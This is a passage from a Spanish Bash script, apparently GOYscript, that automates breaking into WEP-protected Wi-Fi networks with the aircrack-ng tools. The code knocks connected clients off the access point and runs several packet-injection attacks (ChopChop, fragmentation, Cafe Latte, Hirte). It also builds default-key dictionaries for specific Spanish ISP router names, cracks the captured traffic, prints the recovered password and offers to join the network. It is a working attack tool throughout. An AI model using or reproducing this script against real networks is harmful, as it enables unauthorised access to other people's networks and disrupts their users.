				CLIENTE="" #SINO REINICIAMOS LA VARIABLE PARA QUE NO SE SALGA DEL BUCLE Y SIGA BUSCANDO
				xterm $NORMAL $FUENTE $ATAQUE3_2_VENTANA -title "ATAQUE -3 [Reinyeccion con cliente real] - Buscando clientes..." -e 'echo -e "\n\tBuscando clientes... Solo yo estoy asociado... \c"; sleep 5' &
			fi
		else
			xterm $NORMAL $FUENTE $ATAQUE3_2_VENTANA -title "ATAQUE -3 [Reinyeccion con cliente real] - Buscando clientes..." -e 'echo -e "\n\tBuscando clientes... \c"; sleep 5' &
		fi
		sleep 5
		comprobar_airodump
		if [ ! $? -eq 0 ] #SI AIRODUMP YA NO ESTA ABIERTO, SALE DE ESTE BUCLE
		then
			break
		fi
	done
	if [ "$CLIENTE" != "" ]
	then
		CLIENTE_MEDIA_MAC=`echo -n $CLIENTE | cut -c-8`
		CLIENTE_FABRICANTE=`grep $CLIENTE_MEDIA_MAC $MACS | awk -F '#' '{print $2}'`
		echo -en $verdeC"\rExpulsando cliente $CLIENTE [$CLIENTE_FABRICANTE]... "
		echo -e $grisC
		xterm $BIEN $FUENTE $ASOCIACION_VENTANA -title "ATAQUE -0 [Expulsando al cliente del AP]" -e $AIREPLAY -0 1 -a $MAC_AP -c $CLIENTE $INTERFAZ_MONITOR
		echo -e "$verdeC"Reinyectando trafico usando el cliente $CLIENTE..." $grisC\n"
		xterm $BIEN $FUENTE $ATAQUE3_2_VENTANA -title "ATAQUE -3 [Reinyeccion con cliente real] #$INTENTOS_CLIENTE" -e $AIREPLAY -3 -b $MAC_AP -h $CLIENTE $INTERFAZ_MONITOR
		if [ $? -eq 0 ] #SI FALLA EL ATAQUE, SE INFORMA DEL SUCESO Y SE REINTENTA
		then
			echo -e $rojoC"La reinyeccion con el cliente $CLIENTE ha fallado. "$cyan"Reintentando..."$grisC"\n"
			CLIENTE=""
			sleep 5
		fi
	fi
	INTENTOS_CLIENTE=$((INTENTOS_CLIENTE+1))
	comprobar_airodump
done
}

#INYECCION DE TRAFICO - ATAQUE 4 [ChopChop]
function ataque_4
{
xterm $NORMAL $FUENTE $ATAQUE4_VENTANA -title "ATAQUE -4 [ChopChop] - Esperando paquete ARP..." -e $AIREPLAY -4 -F -a $MAC_AP -h $MAC_INTERFAZ -i $INTERFAZ_MONITOR $INTERFAZ_MONITOR
comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
if [ $? -eq 0 ]
then
	xterm $INFORMA $FUENTE $ATAQUE4_VENTANA -title "ATAQUE -4 [ChopChop] - Generando paquete de reinyeccion..." -e $PACKETFORGE -0 -a $MAC_AP -h $MAC_INTERFAZ -k 255.255.255.255 -l 255.255.255.255.255 -y replay_dec-*.xor -w ./captura/ataque4.cap
fi
comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
if [ $? -eq 0 ]
then
	xterm $BIEN $FUENTE $ATAQUE4_VENTANA -title "ATAQUE -4 [ChopChop] - Reinyectando..." -e $AIREPLAY -2 -F -r ./captura/ataque4.cap $INTERFAZ_MONITOR
fi
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE4_VENTANA -title "ATAQUE -4 [ChopChop] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

#INYECCION DE TRAFICO - ATAQUE 5 [Fragmentacion]
function ataque_5
{
xterm $NORMAL $FUENTE $ATAQUE5_VENTANA -title "ATAQUE -5 [Fragmentacion] - Esperando paquete ARP..." -e $AIREPLAY -5 -F -b $MAC_AP -h $MAC_INTERFAZ $INTERFAZ_MONITOR
comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
if [ $? -eq 0 ]
then
	xterm $INFORMA $FUENTE $ATAQUE5_VENTANA -title "ATAQUE -5 [Fragmentacion] - Generando paquete de reinyeccion..." -e $PACKETFORGE -0 -a $MAC_AP -h $MAC_INTERFAZ -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-*.xor -w ./captura/ataque5.cap
fi
comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
if [ $? -eq 0 ]
then
	xterm $BIEN $FUENTE $ATAQUE5_VENTANA -title "ATAQUE -5 [Fragmentacion] - Reinyectando..." -e $AIREPLAY -2 -F -r ./captura/ataque5.cap $INTERFAZ_MONITOR
fi
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE5_VENTANA -title "ATAQUE -5 [Fragmentacion] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

#INYECCION DE TRAFICO - ATAQUE 6 [Cafe Latte]
function ataque_6
{
xterm $NORMAL $FUENTE $ATAQUE6_VENTANA -title "ATAQUE -6 [Cafe Latte]" -e $AIREPLAY -6 -F -D -b $MAC_AP -h $MAC_INTERFAZ $INTERFAZ_MONITOR
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE6_VENTANA -title "ATAQUE -6 [Cafe Latte] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

#INYECCION DE TRAFICO - ATAQUE 7 [Hirte Attack]
function ataque_7
{
xterm $NORMAL $FUENTE $ATAQUE7_VENTANA -title "ATAQUE -7 [Hirte Attack]" -e $AIREPLAY -7 -F -D -b $MAC_AP -h $MAC_INTERFAZ $INTERFAZ_MONITOR
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE7_VENTANA -title "ATAQUE -7 [Hirte Attack] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

function esperar_csv
{
echo -e ""$cyan"Esperando a que se genere el archivo .CSV...\c"
CONTADOR=1
ls captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv > /dev/null 2>&1
while [ ! $? -eq 0 ]
do
	echo -e ""$cyan".\c"
	sleep 0.2
	CONTADOR=$((CONTADOR+1))
	if [ $CONTADOR -gt 15 ]
	then
		echo -en ""$cyan"\a\033[15D               \033[15D"
		CONTADOR=1
	fi
	ls captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv > /dev/null 2>&1
done
echo -e "$grisC\n"
}

#ESPERA A TENER SUFICIENTES "DATAs" PARA INICIAR LA BUSQUEDA DE LA CONTRASEÑA
function detectar_ivs
{
IVS=`cat ./captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv | grep "WEP" | awk '{print $11}' FS=',' | awk '{gsub(/ /,""); print}'`

#ESPERA A TENER 4 IVs PARA COMENZAR A BUSCAR LA CONTRASEÑA
echo -e ""$cyan"Esperando a tener suficientes #Data..."$grisC""
echo
IVS=`cat ./captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv | grep "WEP" | awk '{print $11}' FS=',' | awk '{gsub(/ /,""); print}'`
while [[ $IVS -lt 4 ]]
do
	sleep 1
	IVS=`cat ./captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv | grep "WEP" | awk '{print $11}' FS=',' | awk '{gsub(/ /,""); print}'`
done	
}

#COMPROBAR SI ES UNA RED VULNERABLE A LA BUSQUEDA POR DICCIONARIO
function comprobar_posible_diccionario
{
echo -e ""$cyan"Comprobando si es posible crear un diccionario para la red \"$NOMBRE_AP\"..."$grisC""
echo
CARACTERES=`echo -n "$NOMBRE_AP" | wc -c` #GUARDAMOS EN ESTA VARIABLE EL NUMERO DE CARACTERES DEL NOMBRE DE LA RED
WLANxx=`expr substr "$NOMBRE_AP" 1 5`
JAZZTELxx=`expr substr "$NOMBRE_AP" 1 8`
WLANxxxxxx=`expr substr "$NOMBRE_AP" 1 4`
WIFIxxxxxx=`expr substr "$NOMBRE_AP" 1 4`
YACOMxxxxxx=`expr substr "$NOMBRE_AP" 1 5`
NOMBRE_AP_SPEEDTOUCH=`echo $NOMBRE_AP | cut -c-10`
OCTETOS_SPEEDTOUCH=`echo -n $NOMBRE_AP | $TAIL --bytes 6`
NOMBRE_AP_ONO=`echo $NOMBRE_AP | cut -c-3`
if [ "$WLANxx" = "WLAN_" ] && [ $CARACTERES -eq 7 ]
then
	echo -e ""$verdeC"Red WLAN_xx detectada..."$grisC""
	echo
	echo -e ""$cyan"Creando diccionario..."$grisC""
	$WLANDECRYPTER $MAC_AP "$NOMBRE_AP" ./captura/diccionario
else	
	if [ "$JAZZTELxx" = "JAZZTEL_" ] && [ $CARACTERES -eq 10 ]
	then
		echo -e ""$verdeC"Red JAZZTEL_xx detectada..."$grisC""
		echo
		echo -e ""$cyan"Creando diccionario..."$grisC""
		echo
		$JAZZTELDECRYPTER $MAC_AP "$NOMBRE_AP" ./captura/diccionario
	else
		if [ "$WLANxxxxxx" = "WLAN" ] && [ $CARACTERES -eq 10 ]
		then
			echo -e ""$verdeC"Red WLANxxxxxx detectada..."$grisC""
			echo
			echo -e ""$cyan"Creando diccionario..."$grisC""
			echo
			$WLAN4xx "$NOMBRE_AP" $MAC_AP ./captura/diccionario
		else
			if [ "$WIFIxxxxxx" = "WiFi" ] && [ $CARACTERES -eq 10 ]
			then
				echo -e ""$verdeC"Red WiFixxxxxx detectada..."$grisC""
				echo
				echo -e ""$cyan"Creando diccionario..."$grisC""
				echo
				$WLAN4xx "$NOMBRE_AP" $MAC_AP ./captura/diccionario
			else
				if [ "$YACOMxxxxxx" = "YACOM" ] && [ $CARACTERES -eq 11 ]
				then
					echo -e ""$verdeC"Red YACOMxxxxxx detectada..."$grisC""
					echo
					echo -e ""$cyan"Creando diccionario..."$grisC""
					echo
					$WLAN4xx "$NOMBRE_AP" $MAC_AP ./captura/diccionario
				else
					if [ "$NOMBRE_AP_SPEEDTOUCH" = "SpeedTouch" ] && [ $CARACTERES -eq 16 ]
					then
						echo -e ""$verdeC"Red \"SpeedTouchxxxxxx\" detectada."
						echo
						echo -e ""$cyan"Creando diccionario..."$grisC""
						echo
						$STKEYS -i "$OCTETOS_SPEEDTOUCH" -o ./captura/diccionario > /dev/null 2>&1
					else
						if [ "$NOMBRE_AP_ONO" = "ONO" ] && [ $CARACTERES -eq 7 ]
						then
							echo -e ""$verdeC"Red \"ONOxxxx\" detectada."
							echo
							echo -e ""$cyan"Creando diccionario..."$grisC""
							echo
							$ONO4XX "$NOMBRE_AP" $MAC_AP wep ./captura/diccionario > /dev/null 2>&1
						fi
					fi
				fi
			fi
		fi
	fi
fi
sleep 2
if [ ! -e "./captura/diccionario" ]
then
	echo -e ""$rojoC"No es posible crear un diccionario para la red \""$NOMBRE_AP"\""$grisC""
	echo
fi
}

#COMIENZA A BUSCAR CONTRASEÑAS CON O SIN DICCIONARIO, DEPENDIENDO DE LA EXISTENCIA DE ESTE
function buscar_clave
{
rm -rf "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" > /dev/null 2>&1
echo
echo -e ""$cyan"Iniciando BUSQUEDA DE CONTRASEÑA..."$grisC""
echo
MAC_GUIONES=`echo $MAC_AP | awk '{gsub(/:/,"-"); print}'`
if [[ -e "./captura/diccionario" ]]
then
	echo -e ""$cyan"Iniciando busqueda de contraseña con diccionario..."$grisC""
	echo
	xterm $INFORMA $FUENTE $AIRCRACK_VENTANA -title "BUSCANDO CONTRASEÑA CON DICCIONARIO" -e $AIRCRACK -w ./captura/diccionario ./captura/"$NOMBRE_AP ($MAC_GUIONES)"*.cap -l "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
	sleep 3
fi
if [ ! -e "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" ]
then
	if [[ -e "./captura/diccionario" ]]
	then
		echo -e ""$rojoC"La busqueda de contraseña con diccionario no ha dado resultado."$gris"\n"
	fi
	killall -q aircrack-ng > /dev/null 2>&1
	echo -e ""$cyan"Iniciando busqueda de contraseña sin diccionario..."$grisC""
	echo
	xterm $NORMAL $FUENTE $AIRCRACK_VENTANA -title "BUSCANDO CONTRASEÑA" -e $AIRCRACK ./captura/"$NOMBRE_AP ($MAC_GUIONES)"*.cap -l "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
fi
}

#MUESTRA LA CONTRASEÑA EN DECIMAL Y EN ASCII
function mostrar_clave
{
echo
echo -e ""$verdeC""$parpadeoON"¡¡¡ CONTRASEÑA ENCONTRADA !!! "$parpadeoOFF""$gris" "
echo
matar_procesos "Cerrando los procesos abiertos..."
rm ./captura/replay_* > /dev/null 2>&1
CLAVE_HEXADECIMAL=`cat "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"`
CLAVE_ASCII=`echo $CLAVE_HEXADECIMAL | $XXD -r -p`
echo -e "\n$CLAVE_ASCII" >> "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt"
$UNIX2DOS "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" > /dev/null 2>&1
clear
echo -e $grisC
echo -e "La contraseña para la red "$cyan$"$NOMBRE_AP"$grisC" es:"
echo
echo -e "En hexadecimal...: "$verdeC"$CLAVE_HEXADECIMAL"$grisC""
echo -e "En ASCII.........: "$verdeC"$CLAVE_ASCII"$grisC""
echo
echo -e "Se ha creado el archivo "$cyan"\""$NOMBRE_AP \($MAC_GUIONES\).txt"\" "$grisC""
echo -e "en el directorio \"wifis\", el cual contiene la contraseña"
echo "en formato hexadecimal y ASCII respectivamente."
echo
echo "Hora de inicio.........: "$hora1":"$minutos1"'"$segundos1"\" del dia "$dia1"/"$mes1"/"$ano1""
echo "Hora de finalizacion...: "$hora2":"$minutos2"'"$segundos2"\" del dia "$dia2"/"$mes2"/"$ano2""
echo -e "Duracion del proceso...: "$cyan"\c"
if [ $dias -ne 0 ]	#CON ESTE "if" SE REALIZA EL DESGLOSE EN DIAS, HORAS, MINUTOS Y SEGUNDOS
then			#DEL TIEMPO HA TARDADO EN DESENCRIPTAR LA CONTRASEÑA
	if [ $dias -eq 1 ]
	then
		echo -e "$dias dia\c"
	else
		echo -e "$dias dias\c"
	fi
	if [ $horas -ne 0 ] && [ $minutos -eq 0 ] && [ $segundos -eq 0 ]
	then
		echo -e " y \c"
	else
		if [ $horas -eq 0 ] && [ $minutos -ne 0 ] && [ $segundos -eq 0 ]
		then
			echo -e " y \c"
		else
			if [ $horas -eq 0 ] && [ $minutos -eq 0 ] && [ $segundos -ne 0 ]
			then
				echo -e " y \c"
			else
				if [ $horas -ne 0 ] || [ $minutos -ne 0 ] || [ $segundos -ne 0 ]
				then
					echo -e ", \c"
				fi
			fi
		fi
	fi
fi
if [ $horas -ne 0 ]
then
	if [ $horas -eq 1 ]
	then
		echo -e "$horas hora\c"
	else
		echo -e "$horas horas\c"
	fi
	if [ $minutos -ne 0 ] && [ $segundos -eq 0 ]
	then
		echo -e " y \c"
	fi
	if [ $minutos -eq 0 ] && [ $segundos -ne 0 ]
	then
		echo -e " y \c"
	fi
	if [ $minutos -ne 0 ] && [ $segundos -ne 0 ]
	then
		echo -e ", \c"
	fi
fi
if [ $minutos -ne 0 ]
then
	if [ $minutos -eq 1 ]
	then
		echo -e "$minutos minuto\c"
	else
		echo -e "$minutos minutos\c"
	fi
	if [ $segundos -ne 0 ]
	then
		echo -e " y \c"
	fi
fi
if [ $segundos -ne 0 ]
then
	if [ $segundos -eq 1 ]
	then
		echo -e "$segundos segundo\c"
	else
		echo -e "$segundos segundos\c"
	fi
fi
echo -e "$grisC"
echo
rm -rf *.cap > /dev/null 2>&1
rm -rf *.xor > /dev/null 2>&1
rm -rf ./captura/"$NOMBRE_AP ($MAC_GUIONES)"* > /dev/null 2>&1 #BORRA TODAS LAS CAPTURAS REALIZADAS PARA LA RED DESENCRIPTADA
}

#DESACTIVAR EL MODO MONITOR EN LA INTERFAZ VIRTUAL MON0
function desactivar_modo_monitor
{
echo -e ""$cyan"Desactivando modo monitor..."$grisC""
echo
$AIRMON stop $INTERFAZ > /dev/null 2>&1
$AIRMON stop mon0 > /dev/null 2>&1
}

function comprobar_ayuda
{
echo -e "$blanco"
echo "GOYscript $VERSION by GOYfilms"
echo
echo "Modo de uso: $0 [interfaz]"
echo
echo "Ejemplos: $0"
echo "          $0 wlan0"
echo -e "$grisC"
exit
}

function conectar_internet
{
echo -en ""$cyan"¿Quieres conectarte a la red \"$NOMBRE_AP\"? [s/n]: ""$amarillo\c"
read -n 1 RESPUESTA
while [ "$RESPUESTA" != "s" ] && [ "$RESPUESTA" != "n" ] && [ "$RESPUESTA" != "S" ] && [ "$RESPUESTA" != "N" ]
do
	echo -en ""$rojoC"  Respuesta no valida"
	echo -en "$cyan""\r"¿Quieres conectarte a la red \"$NOMBRE_AP\"? [s/n]: "$amarillo\c"
	read -n 1 RESPUESTA
done
echo -e "$cyan""                     "
if [ "$RESPUESTA" = "s" ] || [ "$RESPUESTA" = "S" ]
then
	echo -e "$cyan\n"
	echo -e "Configurando la tarjeta WiFi para conectarse a la red \"$NOMBRE_AP\"..."$grisC""
	echo
	killall -q dhcpcd dhclient udhcpc > /dev/null 2>&1
	desactivar_modo_monitor
	iwconfig $INTERFAZ mode managed essid "$NOMBRE_AP" key $CLAVE_HEXADECIMAL
	echo -e ""$cyan"Iniciando servidor DHCP..."$grisC"\n"
	which dhcpcd > /dev/null 2>&1
	if [ $? -eq 0 ]
	then
		dhcpcd $INTERFAZ
	else
		which dhclient > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			dhclient $INTERFAZ
		else
			which udhcpc > /dev/null 2>&1
			if [ $? -eq 0 ]
			then
				udhcpc -H box -b -i $INTERFAZ
			else
				echo -e "$rojoC"
				echo "No ha sido posible realizar la conexion."
				echo "No hay instalado ningun servidor DHCP."
				echo -e "$grisC"
				exit
			fi
		fi
	fi
	if [ $? != 0 ] #SI NO VA A LA PRIMERA ES PROBABLE QUE A LA SEGUNDA SI
	then
		echo -e "\n"$rojoC"No se ha podido conectar."$cyan" Reintentando..."
		echo -e "$grisC"
		which dhcpcd > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			dhcpcd $INTERFAZ
		else
			which dhclient > /dev/null 2>&1
			if [ $? -eq 0 ]
			then
				dhclient $INTERFAZ
			else
				which udhcpc > /dev/null 2>&1
				if [ $? -eq 0 ]
				then
					udhcpc -H box -b -i $INTERFAZ
				else
					echo -e "$rojoC"
					echo "No ha sido posible realizar la conexion."
					echo "No hay instalado ningun servidor DHCP."
					echo -e "$grisC"
					exit
				fi
			fi
		fi
	fi
	if [ $? != 0 ] #SI NO VA A LA SEGUNDA NO CREO QUE VAYA BIEN LA COSA :D
	then
		echo -e "$rojoC"
		echo "No ha sido posible realizar la conexion."
		echo "Probablemente estas demasiado lejos del punto de acceso."
		echo -e "$grisC"
	else
		echo -e "$cyan"
		echo "Configuracion finalizada. Compruebe si tiene conexion."
		echo -e "$grisC"
		NAVEGADOR=`which firefox`
		if [ "$NAVEGADOR" != "" ]
		then
			$NAVEGADOR www.google.es & > /dev/null 2>&1
			echo -e "$verdeC"
			echo "Abriendo \"Firefox\"..."
			echo -e "$grisC"
		else
			NAVEGADOR=`which konqueror`
			if [ "$NAVEGADOR" != "" ]
			then
				$NAVEGADOR www.google.es & > /dev/null 2>&1
				echo -e "$verdeC"
				echo "Abriendo \"Konqueror\"..."
				echo -e "$grisC"
			else
				echo -e "$rojoC"
				echo "No tienes instalado \"Firefox\" ni \"Konqueror\"."
				echo "Si tienes algun otro navegador ejecutalo."
			fi
		fi
	fi
	echo -e "$cyan"
	echo "Pulsa una tecla para salir..."
	echo -e "$grisC"
	read -n 1 TECLA
fi
echo -e "$grisC"
}

function pulsar_una_tecla
{
rm -rf "./captura/$NOMBRE_AP ($MAC_GUIONES)*" > /dev/null 2>&1
echo -e $cyan"Pulsa una tecla para salir"$grisC" \c"
read -n 1 TECLA
echo
exit
}


##### PROGRAMA PRINCIPAL #####

if [ "$1" == "--help" ] || [ "$1" == "--ayuda" ] || [ "$1" == "/?" ]
then
	comprobar_ayuda
fi

matar_procesos " Iniciando..."

version

if [[ -e "/sys/class/net/$1/device/driver" ]]  #Para controlar si existe la interfaz pasada como parametro.
then                                         #Si no existe, muestra las que hay para seleccionar una
	INTERFAZ=$1
else
	seleccionar_tarjeta
fi

borrar_sesiones_anteriores

mostrar_resolucion_de_pantalla

iniciar_tarjeta

activar_modo_monitor

seleccionar_red

mostrar_datos_seleccionados

captura_de_paquetes

asociacion_falsa &
sleep 1

esperar_csv

ataque_2 &
sleep 0.1
ataque_3_1 &
sleep 0.1
ataque_4 &
sleep 0.1
ataque_3_2 &
sleep 0.1
ataque_5 &
sleep 0.1
ataque_6 &
sleep 0.1
ataque_7 &

detectar_ivs

comprobar_posible_diccionario

buscar_clave

hora_fin

calcular_tiempo

if [[ -e "./wifis/$NOMBRE_AP ($MAC_GUIONES).txt" ]]
then
	mostrar_clave
	conectar_internet
else
	echo -e "$rojoC"
	echo "ERROR: GOYscript finalizo inesperadamente."
	echo -e "$grisC"
	matar_procesos "Finalizando procesos..."
	killall -q goyscript > /dev/null 2>&1
	echo $cyan"Pulsa una tecla para salir"$grisC
	read -n 1 TECLA
	exit
fi
##### FIN, es decir, ¡¡¡ POR FIN !!! ;D #####
